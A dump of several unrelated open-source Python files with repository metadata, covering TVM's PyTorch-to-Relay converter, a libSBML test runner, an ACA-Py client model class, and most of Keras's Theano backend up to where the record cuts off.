followed by a period as a tuple element access, so a variable name like "dense.weight" cannot be parsed correctly. Use this option when you want to run the AnnotateSpans pass on the imported module. keep_quantized_weight : bool Return quantized weights and bias, rather than float ones. PyTorch stores quantized weights in a custom format, so we cannot directly access 8 bit weights as Numpy arrays. We use a PyTorch function to unpack quantized weights into float32 arrays and quantization parameters. By default, we return float32 weights and rely on the QNN lowering and the Relay constant folding pass to quantize weights at compile time. In BYOC use cases, however, we cannot apply the constant folding pass on a QNN graph. If keep_quantized_weight is True, we quantize weights in the frontend using a function that is equivalent to qnn.op.quantize(...) operating on Numpy arrays. Returns ------- mod : tvm.IRModule The module that optimizations will be performed on. params : dict of str to tvm.runtime.NDArray Dict of converted parameters stored in tvm.runtime.ndarray format """ import torch mod = tvm.IRModule() prelude = Prelude(mod) converter = PyTorchOpConverter(prelude, default_dtype) graph = script_module.graph.copy() _run_jit_passes(graph) if custom_convert_map: converter.update_convert_map(custom_convert_map) op_names = get_all_op_names(graph) converter.report_missing_conversion(op_names) is_module = isinstance(script_module, torch.jit.ScriptModule) params = script_module.state_dict() if is_module else {} outputs = _get_relay_input_vars( graph, input_infos, prelude, default_dtype=default_dtype, is_module=is_module ) if use_parser_friendly_name: new_names = [key.replace(".", "_") for key in params.keys()] params = dict(zip(new_names, params.values())) param_vars, tensors, packed_param_map = convert_params(graph, params, use_parser_friendly_name) tvm_params = {k: tvm.nd.array(v) for k, v in tensors.items()} outputs.update(param_vars) ret_name = _get_input_names(graph.return_node()) # For quantized models quantized_ops = set(["aten::quantize_per_tensor", "quantized::linear_dynamic"]) if len(quantized_ops.intersection(set(op_names))) > 0: weight_quant_params = qnn_torch.get_weight_quant_params( script_module, packed_param_map.values() ) input_scales_for_bias = qnn_torch.add_input_quant_params_to_op_inputs(graph) qnn_torch.add_quant_params_to_outputs( outputs, packed_param_map, weight_quant_params, input_scales_for_bias, keep_quantized_weight, ) qnn_torch.add_quant_params(tvm_params, weight_quant_params) converter.update_convert_map(qnn_torch.convert_map) ret = converter.convert_operators(_get_operator_nodes(graph.nodes()), outputs, ret_name)[0] if isinstance(ret, list): # ListConstruct kept original python list. Convert to tuple. ret = _expr.Tuple(ret) # Separate data inputs and parameters to make sure data inputs come first. func_args = [] data_inputs = [] for arg in _analysis.free_vars(ret): if arg.name_hint not in tvm_params.keys(): data_inputs.append(arg) else: func_args.append(arg) func_args = data_inputs + func_args mod["main"] = tvm.relay.Function(func_args, ret) return transform.RemoveUnusedFunctions()(mod), tvm_params

37.566667

120

0.579753

4a07ade329559516e35a4362e760d0684458baef

1,977

py

Python

bindings/python/doc-converter/test/run.py

sys-bio/sbml2matlab

3e957c3508f85e55cfd4564230240467a55d9c27

[ "BSD-3-Clause" ]

1

2021-03-25T23:13:45.000Z

bindings/python/doc-converter/test/run.py

luciansmith/sbml2matlab

bcc2ec734caacb3b30556d527f2bf8a6f9f57950

[ "BSD-3-Clause" ]

2

2016-01-19T18:02:13.000Z

2016-02-13T23:07:45.000Z

bindings/python/doc-converter/test/run.py

sys-bio/sbml2matlab

3e957c3508f85e55cfd4564230240467a55d9c27

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python ## ## @file run.py ## @brief Unit test runner for libSBML Python doc converter ## @author Mike Hucka ## ##  import argparse import os import sys import unittest # Configure command line arguments and process them. # If -h is provided, argparse will print the help and automatically exit. help_prolog = "Run tests for libSBML's Python document string converter." help_epilog = '''If give no arguments, this will run all the unit tests in the "cases" subdirectory..''' parser = argparse.ArgumentParser(description=help_prolog, epilog=help_epilog) parser.parse_args() # Run the tests. ourdir = os.path.dirname(os.path.abspath(__file__)) tests = unittest.TestLoader().discover(start_dir=(ourdir + '/cases')) runner = unittest.runner.TextTestRunner() runner.run(tests)

39.54

79

0.682347

4a07ae326e068ff0b206e445bee89e06a314dacb

3,619

py

Python

acapy_client/models/indy_ge_proof.py

dbluhm/acapy-client

d92ef607ba2ff1152ec15429f2edb20976991424

[ "Apache-2.0" ]

4

2021-08-05T09:20:34.000Z

2021-08-08T19:37:29.000Z

acapy_client/models/indy_ge_proof.py

dbluhm/acapy-client

d92ef607ba2ff1152ec15429f2edb20976991424

[ "Apache-2.0" ]

null

acapy_client/models/indy_ge_proof.py

dbluhm/acapy-client

d92ef607ba2ff1152ec15429f2edb20976991424

[ "Apache-2.0" ]

2

2021-08-12T18:18:45.000Z

2021-08-14T13:22:28.000Z

from typing import Any, Dict, List, Type, TypeVar, Union import attr from ..models.indy_ge_proof_pred import IndyGEProofPred from ..models.indy_ge_proof_r import IndyGEProofR from ..models.indy_ge_proof_t import IndyGEProofT from ..models.indy_ge_proof_u import IndyGEProofU from ..types import UNSET, Unset T = TypeVar("T", bound="IndyGEProof") @attr.s(auto_attribs=True) class IndyGEProof: """ """ alpha: Union[Unset, str] = UNSET mj: Union[Unset, str] = UNSET predicate: Union[Unset, IndyGEProofPred] = UNSET r: Union[Unset, IndyGEProofR] = UNSET t: Union[Unset, IndyGEProofT] = UNSET u: Union[Unset, IndyGEProofU] = UNSET additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict) def to_dict(self) -> Dict[str, Any]: alpha = self.alpha mj = self.mj predicate: Union[Unset, Dict[str, Any]] = UNSET if not isinstance(self.predicate, Unset): predicate = self.predicate.to_dict() r: Union[Unset, Dict[str, Any]] = UNSET if not isinstance(self.r, Unset): r = self.r.to_dict() t: Union[Unset, Dict[str, Any]] = UNSET if not isinstance(self.t, Unset): t = self.t.to_dict() u: Union[Unset, Dict[str, Any]] = UNSET if not isinstance(self.u, Unset): u = self.u.to_dict() field_dict: Dict[str, Any] = {} field_dict.update(self.additional_properties) field_dict.update({}) if alpha is not UNSET: field_dict["alpha"] = alpha if mj is not UNSET: field_dict["mj"] = mj if predicate is not UNSET: field_dict["predicate"] = predicate if r is not UNSET: field_dict["r"] = r if t is not UNSET: field_dict["t"] = t if u is not UNSET: field_dict["u"] = u return field_dict @classmethod def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T: d = src_dict.copy() alpha = d.pop("alpha", UNSET) mj = d.pop("mj", UNSET) _predicate = d.pop("predicate", UNSET) predicate: Union[Unset, IndyGEProofPred] if isinstance(_predicate, Unset): predicate = UNSET else: predicate = IndyGEProofPred.from_dict(_predicate) _r = d.pop("r", UNSET) r: Union[Unset, IndyGEProofR] if isinstance(_r, Unset): r = UNSET else: r = IndyGEProofR.from_dict(_r) _t = d.pop("t", UNSET) t: Union[Unset, IndyGEProofT] if isinstance(_t, Unset): t = UNSET else: t = IndyGEProofT.from_dict(_t) _u = d.pop("u", UNSET) u: Union[Unset, IndyGEProofU] if isinstance(_u, Unset): u = UNSET else: u = IndyGEProofU.from_dict(_u) indy_ge_proof = cls( alpha=alpha, mj=mj, predicate=predicate, r=r, t=t, u=u, ) indy_ge_proof.additional_properties = d return indy_ge_proof @property def additional_keys(self) -> List[str]: return list(self.additional_properties.keys()) def __getitem__(self, key: str) -> Any: return self.additional_properties[key] def __setitem__(self, key: str, value: Any) -> None: self.additional_properties[key] = value def __delitem__(self, key: str) -> None: del self.additional_properties[key] def __contains__(self, key: str) -> bool: return key in self.additional_properties

28.952

77

0.581376

4a07af55d008c61f7b313b89f3c6b29773d9f8c9

70,615

py

Python

keras/backend/theano_backend.py

bjerva/keras

8d34e8a362f516b09a6e9f52f07264c9f1e088a9

[ "MIT" ]

null

keras/backend/theano_backend.py

bjerva/keras

8d34e8a362f516b09a6e9f52f07264c9f1e088a9

[ "MIT" ]

null

keras/backend/theano_backend.py

bjerva/keras

8d34e8a362f516b09a6e9f52f07264c9f1e088a9

[ "MIT" ]

1

2020-06-11T02:11:58.000Z

import theano from theano import tensor as T from theano.sandbox.rng_mrg import MRG_RandomStreams as RandomStreams from theano.tensor.signal import pool from theano.tensor.nnet import conv3d2d from theano.printing import Print try: import theano.sparse as th_sparse_module except ImportError: th_sparse_module = None try: from theano.tensor.nnet.nnet import softsign as T_softsign except ImportError: from theano.sandbox.softsign import softsign as T_softsign import inspect import numpy as np from .common import _FLOATX, floatx, _EPSILON, image_dim_ordering py_all = all # INTERNAL UTILS theano.config.floatX = _FLOATX _LEARNING_PHASE = T.scalar(dtype='uint8', name='keras_learning_phase') # 0 = test, 1 = train def learning_phase(): # False = test, True = train return _LEARNING_PHASE def set_learning_phase(value): global _LEARNING_PHASE if value not in {0, 1}: raise ValueError('Expected learning phase to be ' '0 or 1.') _LEARNING_PHASE = value # VARIABLE MANIPULATION def _assert_sparse_module(): if not th_sparse_module: raise ImportError("Failed to import theano.sparse\n" "You probably need to pip install nose-parameterized") def is_sparse(tensor): return th_sparse_module and isinstance(tensor.type, th_sparse_module.SparseType) def to_dense(tensor): if is_sparse(tensor): return th_sparse_module.dense_from_sparse(tensor) else: return tensor def is_explicit_shape(shape): if hasattr(shape, '__iter__'): for x in shape: if x is not None: if not isinstance(x, int): return False return True return False def variable(value, dtype=None, name=None): """Instantiates a variable and returns it. # Arguments value: Numpy array, initial value of the tensor. dtype: Tensor type. name: Optional name string for the tensor. # Returns A variable instance (with Keras metadata included). """ if dtype is None: dtype = floatx() if hasattr(value, 'tocoo'): _assert_sparse_module() variable = th_sparse_module.as_sparse_variable(value) else: value = np.asarray(value, dtype=dtype) variable = theano.shared(value=value, name=name, strict=False) variable._keras_shape = value.shape variable._uses_learning_phase = False return variable def placeholder(shape=None, ndim=None, dtype=None, sparse=False, name=None): """Instantiate an input data placeholder variable. """ if dtype is None: dtype = floatx() if shape is None and ndim is None: raise ValueError('Specify either a shape or ndim value.') if shape is not None: ndim = len(shape) else: shape = tuple([None for _ in range(ndim)]) broadcast = (False,) * ndim if sparse: _assert_sparse_module() x = th_sparse_module.csr_matrix(name=name, dtype=dtype) else: x = T.TensorType(dtype, broadcast)(name) x._keras_shape = shape x._uses_learning_phase = False return x def shape(x): """Returns the shape of a tensor. Warning: type returned will be different for Theano backend (Theano tensor type) and TF backend (TF TensorShape). """ return x.shape def int_shape(x): """Returns the shape of a Keras tensor or a Keras variable as a tuple of integers or None entries. # Arguments x: Tensor or variable. # Returns A tuple of integers (or None entries). """ if hasattr(x, '_keras_shape'): return x._keras_shape else: raise Exception('Not a Keras tensor:', x) def ndim(x): return x.ndim def dtype(x): return x.dtype def eval(x): """Returns the value of a tensor. """ return to_dense(x).eval() def zeros(shape, dtype=None, name=None): """Instantiates an all-zeros variable. """ if dtype is None: dtype = floatx() return variable(np.zeros(shape), dtype, name) def ones(shape, dtype=None, name=None): """Instantiates an all-ones variable. """ if dtype is None: dtype = floatx() return variable(np.ones(shape), dtype, name) def eye(size, dtype=None, name=None): """Instantiates an identity matrix. """ if dtype is None: dtype = floatx() return variable(np.eye(size), dtype, name) def ones_like(x, name=None): return T.ones_like(x) def zeros_like(x, name=None): return T.zeros_like(x) def random_uniform_variable(shape, low, high, dtype=None, name=None): return variable(np.random.uniform(low=low, high=high, size=shape), dtype=dtype, name=name) def random_normal_variable(shape, mean, scale, dtype=None, name=None): return variable(np.random.normal(loc=0.0, scale=scale, size=shape), dtype=dtype, name=name) def count_params(x): """Returns the number of scalars in a tensor. Return: numpy integer. """ return np.prod(x.shape.eval()) def cast(x, dtype): return T.cast(x, dtype) # UPDATES OPS def update(x, new_x): return (x, new_x) def update_add(x, increment): return (x, x + increment) def update_sub(x, decrement): return (x, x - decrement) def moving_average_update(variable, value, momentum): return (variable, variable * momentum + value * (1. - momentum)) # LINEAR ALGEBRA """ Assumed overridden: +, -, /, *, +=, -=, *=, /= """ def dot(x, y): # TODO: `keras_shape` inference. if is_sparse(x): return th_sparse_module.basic.structured_dot(x, y) else: return T.dot(x, y) def batch_dot(x, y, axes=None): """Batchwise dot product. batch_dot results in a tensor with less dimensions than the input. If the number of dimensions is reduced to 1, we use `expand_dims` to make sure that ndim is at least 2. # Arguments x, y: tensors with ndim >= 2 axes: list (or single) int with target dimensions # Returns A tensor with shape equal to the concatenation of x's shape (less the dimension that was summed over) and y's shape (less the batch dimension and the dimension that was summed over). If the final rank is 1, we reshape it to (batch_size, 1). # Examples Assume x = [[1, 2], [3, 4]] and y = [[5, 6], [7, 8]] batch_dot(x, y, axes=1) = [[17, 53]] which is the main diagonal of x.dot(y.T), although we never have to calculate the off-diagonal elements. Shape inference: Let x's shape be (100, 20) and y's shape be (100, 30, 20). If dot_axes is (1, 2), to find the output shape of resultant tensor, loop through each dimension in x's shape and y's shape: x.shape[0] : 100 : append to output shape x.shape[1] : 20 : do not append to output shape, dimension 1 of x has been summed over. (dot_axes[0] = 1) y.shape[0] : 100 : do not append to output shape, always ignore first dimension of y y.shape[1] : 30 : append to output shape y.shape[2] : 20 : do not append to output shape, dimension 2 of y has been summed over. (dot_axes[1] = 2) output_shape = (100, 30) """ # TODO: `keras_shape` inference. if isinstance(axes, int): axes = (axes, axes) if axes is None: # behaves like tf.batch_matmul as default axes = [x.ndim - 1, y.ndim - 2] out = T.batched_tensordot(x, y, axes=axes) if ndim(out) == 1: out = expand_dims(out, 1) return out def transpose(x): # TODO: `keras_shape` inference. return T.transpose(x) def gather(reference, indices): """reference: a tensor. indices: an int tensor of indices. Return: a tensor of same type as reference. """ # TODO: `keras_shape` inference. return reference[indices] # ELEMENT-WISE OPERATIONS def max(x, axis=None, keepdims=False): return T.max(x, axis=axis, keepdims=keepdims) def min(x, axis=None, keepdims=False): return T.min(x, axis=axis, keepdims=keepdims) def sum(x, axis=None, keepdims=False): """Sum of the values in a tensor, alongside the specified axis. """ return T.sum(x, axis=axis, keepdims=keepdims) def prod(x, axis=None, keepdims=False): """Multiply the values in a tensor, alongside the specified axis. """ return T.prod(x, axis=axis, keepdims=keepdims) def mean(x, axis=None, keepdims=False): """Mean of a tensor, alongside the specified axis. """ dtype = None # bool is available since theano v0.9dev if 'int' in x.dtype or x.dtype == 'bool': dtype = floatx() return T.mean(x, axis=axis, keepdims=keepdims, dtype=dtype) def std(x, axis=None, keepdims=False): return T.std(x, axis=axis, keepdims=keepdims) def var(x, axis=None, keepdims=False): return T.var(x, axis=axis, keepdims=keepdims) def any(x, axis=None, keepdims=False): """Bitwise reduction (logical OR). """ return T.any(x, axis=axis, keepdims=keepdims) def all(x, axis=None, keepdims=False): """Bitwise reduction (logical AND). """ return T.all(x, axis=axis, keepdims=keepdims) def argmax(x, axis=-1): return T.argmax(x, axis=axis, keepdims=False) def argmin(x, axis=-1): return T.argmin(x, axis=axis, keepdims=False) def square(x): return T.sqr(x) def abs(x): return T.abs_(x) def sqrt(x): x = T.clip(x, 0., np.inf) return T.sqrt(x) def exp(x): return T.exp(x) def log(x): return T.log(x) def round(x): return T.round(x) def sign(x): return T.sgn(x) def pow(x, a): return T.pow(x, a) def clip(x, min_value, max_value): if max_value < min_value: max_value = min_value return T.clip(x, min_value, max_value) def equal(x, y): return T.eq(x, y) def not_equal(x, y): return T.neq(x, y) def greater(x, y): return T.gt(x, y) def greater_equal(x, y): return T.ge(x, y) def lesser(x, y): return T.lt(x, y) def lesser_equal(x, y): return T.le(x, y) def maximum(x, y): return T.maximum(x, y) def minimum(x, y): return T.minimum(x, y) def sin(x): return T.sin(x) def cos(x): return T.cos(x) def normalize_batch_in_training(x, gamma, beta, reduction_axes, epsilon=1e-3): """Computes mean and std for batch then apply batch_normalization on batch. """ # TODO remove this if statement when Theano without # T.nnet.bn.batch_normalization_train is deprecated if not hasattr(T.nnet.bn, 'batch_normalization_train'): return _old_normalize_batch_in_training(x, gamma, beta, reduction_axes, epsilon) normed, mean, stdinv = T.nnet.bn.batch_normalization_train( x, gamma, beta, reduction_axes, epsilon) return normed, mean, T.inv(stdinv ** 2) def batch_normalization(x, mean, var, beta, gamma, epsilon=1e-3): """Apply batch normalization on x given mean, var, beta and gamma. """ # TODO remove this if statement when Theano without # T.nnet.bn.batch_normalization_test is deprecated if not hasattr(T.nnet.bn, 'batch_normalization_test'): return _old_batch_normalization(x, mean, var, beta, gamma, epsilon) if mean.ndim == 1: # based on TensorFlow's default: normalize along rightmost dimension reduction_axes = range(x.ndim - 1) else: reduction_axes = [i for i in range(x.ndim) if mean.broadcastable[i]] return T.nnet.bn.batch_normalization_test( x, gamma, beta, mean, var, reduction_axes, epsilon) # TODO remove this function when Theano without # T.nnet.bn.batch_normalization_train is deprecated def _old_normalize_batch_in_training(x, gamma, beta, reduction_axes, epsilon=1e-3): """Computes mean and std for batch then apply batch_normalization on batch. """ dev = theano.config.device use_cudnn = ndim(x) < 5 and reduction_axes == [0, 2, 3] and (dev.startswith('cuda') or dev.startswith('gpu')) if use_cudnn: broadcast_beta = beta.dimshuffle('x', 0, 'x', 'x') broadcast_gamma = gamma.dimshuffle('x', 0, 'x', 'x') try: normed, mean, stdinv = theano.sandbox.cuda.dnn.dnn_batch_normalization_train( x, broadcast_gamma, broadcast_beta, 'spatial', epsilon) normed = theano.tensor.as_tensor_variable(normed) mean = theano.tensor.as_tensor_variable(mean) stdinv = theano.tensor.as_tensor_variable(stdinv) var = T.inv(stdinv ** 2) return normed, T.flatten(mean), T.flatten(var) except AttributeError: pass var = x.var(reduction_axes) mean = x.mean(reduction_axes) target_shape = [] for axis in range(ndim(x)): if axis in reduction_axes: target_shape.append(1) else: target_shape.append(x.shape[axis]) target_shape = T.stack(*target_shape) broadcast_mean = T.reshape(mean, target_shape) broadcast_var = T.reshape(var, target_shape) broadcast_beta = T.reshape(beta, target_shape) broadcast_gamma = T.reshape(gamma, target_shape) normed = batch_normalization(x, broadcast_mean, broadcast_var, broadcast_beta, broadcast_gamma, epsilon) return normed, mean, var # TODO remove this if statement when Theano without # T.nnet.bn.batch_normalization_test is deprecated def _old_batch_normalization(x, mean, var, beta, gamma, epsilon=1e-3): """Apply batch normalization on x given mean, var, beta and gamma. """ if mean.ndim == 1 and x.ndim > 1: # in TensorFlow's batch_normalization, if the parameters are vectors # the batch normalization should be applied along the rightmost axis. # Theano expects the parameters to always have x.ndim dimensions. shuffle_pattern = ['x'] * (x.ndim - 1) + [0] mean = mean.dimshuffle(shuffle_pattern) var = var.dimshuffle(shuffle_pattern) beta = beta.dimshuffle(shuffle_pattern) gamma = gamma.dimshuffle(shuffle_pattern) ndim = x.ndim dev = theano.config.device use_cudnn = ndim < 5 and (dev.startswith('cuda') or dev.startswith('gpu')) if use_cudnn: try: axis = mean.broadcastable.index(False) if axis != 1: shuffle_pattern = list(range(ndim)) shuffle_pattern[1] = shuffle_pattern[axis] shuffle_pattern[axis] = 1 result = theano.sandbox.cuda.dnn.dnn_batch_normalization_test( x.dimshuffle(shuffle_pattern), gamma.dimshuffle(shuffle_pattern), beta.dimshuffle(shuffle_pattern), mean.dimshuffle(shuffle_pattern), var.dimshuffle(shuffle_pattern), 'spatial', epsilon).dimshuffle(shuffle_pattern) else: result = theano.sandbox.cuda.dnn.dnn_batch_normalization_test( x, gamma, beta, mean, var, 'spatial', epsilon) return theano.tensor.as_tensor_variable(result) except AttributeError: pass except ValueError: pass return T.nnet.bn.batch_normalization(x, gamma, beta, mean, sqrt(var + epsilon), mode='high_mem') # SHAPE OPERATIONS def concatenate(tensors, axis=-1): if py_all([is_sparse(x) for x in tensors]): axis = axis % ndim(tensors[0]) if axis == 0: return th_sparse_module.basic.vstack(tensors, format='csr') elif axis == 1: return th_sparse_module.basic.hstack(tensors, format='csr') else: raise ValueError('Invalid concat axis for sparse matrix:', axis) else: return T.concatenate([to_dense(x) for x in tensors], axis=axis) def reshape(x, shape): y = T.reshape(x, shape) if is_explicit_shape(shape): y._keras_shape = shape if hasattr(x, '_uses_learning_phase'): y._uses_learning_phase = x._uses_learning_phase else: y._uses_learning_phase = False return y def permute_dimensions(x, pattern): """Transpose dimensions. pattern should be a tuple or list of dimension indices, e.g. [0, 2, 1]. """ # TODO: `keras_shape` inference. pattern = tuple(pattern) return x.dimshuffle(pattern) def repeat_elements(x, rep, axis): """Repeat the elements of a tensor along an axis, like np.repeat. If x has shape (s1, s2, s3) and axis=1, the output will have shape (s1, s2 * rep, s3). """ # TODO: `keras_shape` inference. return T.repeat(x, rep, axis=axis) def resize_images(X, height_factor, width_factor, dim_ordering): """Resize the images contained in a 4D tensor of shape - [batch, channels, height, width] (for 'th' dim_ordering) - [batch, height, width, channels] (for 'tf' dim_ordering) by a factor of (height_factor, width_factor). Both factors should be positive integers. """ # TODO: `keras_shape` inference. if dim_ordering == 'th': output = repeat_elements(X, height_factor, axis=2) output = repeat_elements(output, width_factor, axis=3) return output elif dim_ordering == 'tf': output = repeat_elements(X, height_factor, axis=1) output = repeat_elements(output, width_factor, axis=2) return output else: raise ValueError('Invalid dim_ordering:', dim_ordering) def resize_volumes(X, depth_factor, height_factor, width_factor, dim_ordering): """Resize the volume contained in a 5D tensor of shape - [batch, channels, depth, height, width] (for 'th' dim_ordering) - [batch, depth, height, width, channels] (for 'tf' dim_ordering) by a factor of (depth_factor, height_factor, width_factor). Both factors should be positive integers. """ # TODO: `keras_shape` inference. if dim_ordering == 'th': output = repeat_elements(X, depth_factor, axis=2) output = repeat_elements(output, height_factor, axis=3) output = repeat_elements(output, width_factor, axis=4) return output elif dim_ordering == 'tf': output = repeat_elements(X, depth_factor, axis=1) output = repeat_elements(output, height_factor, axis=2) output = repeat_elements(output, width_factor, axis=3) return output else: raise ValueError('Invalid dim_ordering:', dim_ordering) def repeat(x, n): """Repeat a 2D tensor. If x has shape (samples, dim) and n=2, the output will have shape (samples, 2, dim). """ # TODO: `keras_shape` inference. assert x.ndim == 2 x = x.dimshuffle((0, 'x', 1)) return T.extra_ops.repeat(x, n, axis=1) def arange(start, stop=None, step=1, dtype='int32'): """Creates a 1-D tensor containing a sequence of integers. The function arguments use the same convention as Theano's arange: if only one argument is provided, it is in fact the "stop" argument. The default type of the returned tensor is 'int32' to match TensorFlow's default. """ return T.arange(start, stop=stop, step=step, dtype=dtype) def tile(x, n): # TODO: `keras_shape` inference. return T.tile(x, n) def flatten(x): # TODO: `keras_shape` inference. return T.flatten(x) def batch_flatten(x): """Turn a n-D tensor into a 2D tensor where the first dimension is conserved. """ # TODO: `keras_shape` inference. x = T.reshape(x, (x.shape[0], T.prod(x.shape) // x.shape[0])) return x def expand_dims(x, dim=-1): """Add a 1-sized dimension at index "dim". """ # TODO: `keras_shape` inference. pattern = [i for i in range(x.type.ndim)] if dim < 0: if x.type.ndim == 0: dim = 0 else: dim = dim % x.type.ndim + 1 pattern.insert(dim, 'x') return x.dimshuffle(pattern) def squeeze(x, axis): """Remove a 1-dimension from the tensor at index "axis". """ # TODO: `keras_shape` inference. shape = list(x.shape) shape.pop(axis) return T.reshape(x, tuple(shape)) def temporal_padding(x, padding=1): """Pad the middle dimension of a 3D tensor with "padding" zeros left and right. Apologies for the inane API, but Theano makes this really hard. """ # TODO: `keras_shape` inference. input_shape = x.shape output_shape = (input_shape[0], input_shape[1] + 2 * padding, input_shape[2]) output = T.zeros(output_shape) return T.set_subtensor(output[:, padding:x.shape[1] + padding, :], x) def asymmetric_temporal_padding(x, left_pad=1, right_pad=1): """Pad the middle dimension of a 3D tensor with "left_pad" zeros left and "right_pad" right. Apologies for the inane API, but Theano makes this really hard. """ # TODO: `keras_shape` inference. input_shape = x.shape output_shape = (input_shape[0], input_shape[1] + left_pad + right_pad, input_shape[2]) output = T.zeros(output_shape) return T.set_subtensor(output[:, left_pad:x.shape[1] + left_pad, :], x) def spatial_2d_padding(x, padding=(1, 1), dim_ordering='default'): """Pad the 2nd and 3rd dimensions of a 4D tensor with "padding[0]" and "padding[1]" (resp.) zeros left and right. """ # TODO: `keras_shape` inference. if dim_ordering == 'default': dim_ordering = image_dim_ordering() if dim_ordering not in {'th', 'tf'}: raise ValueError('Unknown dim_ordering ' + str(dim_ordering)) input_shape = x.shape if dim_ordering == 'th': output_shape = (input_shape[0], input_shape[1], input_shape[2] + 2 * padding[0], input_shape[3] + 2 * padding[1]) output = T.zeros(output_shape) indices = (slice(None), slice(None), slice(padding[0], input_shape[2] + padding[0]), slice(padding[1], input_shape[3] + padding[1])) elif dim_ordering == 'tf': output_shape = (input_shape[0], input_shape[1] + 2 * padding[0], input_shape[2] + 2 * padding[1], input_shape[3]) output = T.zeros(output_shape) indices = (slice(None), slice(padding[0], input_shape[1] + padding[0]), slice(padding[1], input_shape[2] + padding[1]), slice(None)) else: raise ValueError('Invalid dim_ordering:', dim_ordering) return T.set_subtensor(output[indices], x) def asymmetric_spatial_2d_padding(x, top_pad=1, bottom_pad=1, left_pad=1, right_pad=1, dim_ordering='default'): """Pad the rows and columns of a 4D tensor with "top_pad", "bottom_pad", "left_pad", "right_pad" (resp.) zeros rows on top, bottom; cols on left, right. """ if dim_ordering == 'default': dim_ordering = image_dim_ordering() if dim_ordering not in {'th', 'tf'}: raise ValueError('Unknown dim_ordering ' + str(dim_ordering)) input_shape = x.shape if dim_ordering == 'th': output_shape = (input_shape[0], input_shape[1], input_shape[2] + top_pad + bottom_pad, input_shape[3] + left_pad + right_pad) output = T.zeros(output_shape) indices = (slice(None), slice(None), slice(top_pad, input_shape[2] + top_pad), slice(left_pad, input_shape[3] + left_pad)) elif dim_ordering == 'tf': output_shape = (input_shape[0], input_shape[1] + top_pad + bottom_pad, input_shape[2] + left_pad + right_pad, input_shape[3]) print(output_shape) output = T.zeros(output_shape) indices = (slice(None), slice(top_pad, input_shape[1] + top_pad), slice(left_pad, input_shape[2] + left_pad), slice(None)) else: raise ValueError('Invalid dim_ordering:', dim_ordering) return T.set_subtensor(output[indices], x) def spatial_3d_padding(x, padding=(1, 1, 1), dim_ordering='default'): """Pad the 2nd, 3rd and 4th dimensions of a 5D tensor with "padding[0]", "padding[1]" and "padding[2]" (resp.) zeros left and right. """ if dim_ordering == 'default': dim_ordering = image_dim_ordering() if dim_ordering not in {'th', 'tf'}: raise ValueError('Unknown dim_ordering ' + str(dim_ordering)) input_shape = x.shape if dim_ordering == 'th': output_shape = (input_shape[0], input_shape[1], input_shape[2] + 2 * padding[0], input_shape[3] + 2 * padding[1], input_shape[4] + 2 * padding[2]) output = T.zeros(output_shape) indices = (slice(None), slice(None), slice(padding[0], input_shape[2] + padding[0]), slice(padding[1], input_shape[3] + padding[1]), slice(padding[2], input_shape[4] + padding[2])) elif dim_ordering == 'tf': output_shape = (input_shape[0], input_shape[1] + 2 * padding[0], input_shape[2] + 2 * padding[1], input_shape[3] + 2 * padding[2], input_shape[4]) output = T.zeros(output_shape) indices = (slice(None), slice(padding[0], input_shape[1] + padding[0]), slice(padding[1], input_shape[2] + padding[1]), slice(padding[2], input_shape[3] + padding[2]), slice(None)) else: raise ValueError('Invalid dim_ordering:', dim_ordering) return T.set_subtensor(output[indices], x) def stack(x): return T.stack(*x) def one_hot(indices, nb_classes): """Input: nD integer tensor of shape (batch_size, dim1, dim2, ... dim(n-1)) Output: (n + 1)D one hot representation of the input with shape (batch_size, dim1, dim2, ... dim(n-1), nb_classes) """ input_shape = tuple((indices.shape[i] for i in range(indices.ndim))) indices = T.flatten(indices) oh = T.extra_ops.to_one_hot(indices, nb_classes) oh = T.reshape(oh, input_shape + (nb_classes,)) return oh def reverse(x, axes): """Reverse a tensor along the the specified axes """ if isinstance(axes, int): axes = [axes] slices = [slice(None, None, -1) if i in axes else slice(None, None, None) for i in range(x.ndim)] return x[slices] def pattern_broadcast(x, broatcastable): return T.patternbroadcast(x, broatcastable) # VALUE MANIPULATION def get_value(x): if not hasattr(x, 'get_value'): raise TypeError('get_value() can only be called on a variable. ' 'If you have an expression instead, use eval().') return x.get_value() def batch_get_value(xs): """Returns the value of more than one tensor variable, as a list of Numpy arrays. """ return [get_value(x) for x in xs] def set_value(x, value): x.set_value(np.asarray(value, dtype=x.dtype)) def batch_set_value(tuples): for x, value in tuples: x.set_value(np.asarray(value, dtype=x.dtype)) def get_variable_shape(x): return x.get_value(borrow=True, return_internal_type=True).shape def print_tensor(x, message=''): """Print the message and the tensor when evaluated and return the same tensor. """ p_op = Print(message) return p_op(x) # GRAPH MANIPULATION class Function(object): def __init__(self, inputs, outputs, updates=[], **kwargs): unique_variables_to_update = {} for v, nv in updates: if v not in unique_variables_to_update: unique_variables_to_update[v] = nv updates = unique_variables_to_update.items() self.function = theano.function(inputs, outputs, updates=updates, allow_input_downcast=True, on_unused_input='ignore', **kwargs) def __call__(self, inputs): assert isinstance(inputs, (list, tuple)) return self.function(*inputs) def function(inputs, outputs, updates=[], **kwargs): if len(kwargs) > 0: function_args = inspect.getargspec(theano.function)[0] for key in kwargs.keys(): if key not in function_args: msg = 'Invalid argument "%s" passed to K.function' % key raise ValueError(msg) return Function(inputs, outputs, updates=updates, **kwargs) def gradients(loss, variables): return T.grad(loss, variables) def stop_gradient(variables): """Returns `variables` but with zero gradient with respect to every other variables. """ return theano.gradient.disconnected_grad(variables) # CONTROL FLOW def rnn(step_function, inputs, initial_states, go_backwards=False, mask=None, constants=None, unroll=False, input_length=None): """Iterates over the time dimension of a tensor. # Arguments inputs: tensor of temporal data of shape (samples, time, ...) (at least 3D). step_function: Parameters: input: tensor with shape (samples, ...) (no time dimension), representing input for the batch of samples at a certain time step. states: list of tensors. Returns: output: tensor with shape (samples, ...) (no time dimension), new_states: list of tensors, same length and shapes as 'states'. initial_states: tensor with shape (samples, ...) (no time dimension), containing the initial values for the states used in the step function. go_backwards: boolean. If True, do the iteration over the time dimension in reverse order. mask: binary tensor with shape (samples, time), with a zero for every element that is masked. constants: a list of constant values passed at each step. unroll: whether to unroll the RNN or to use a symbolic loop (`scan`). input_length: must be specified if using `unroll`. # Returns A tuple (last_output, outputs, new_states). last_output: the latest output of the rnn, of shape (samples, ...) outputs: tensor with shape (samples, time, ...) where each entry outputs[s, t] is the output of the step function at time t for sample s. new_states: list of tensors, latest states returned by the step function, of shape (samples, ...). """ ndim = inputs.ndim assert ndim >= 3, 'Input should be at least 3D.' if unroll: if 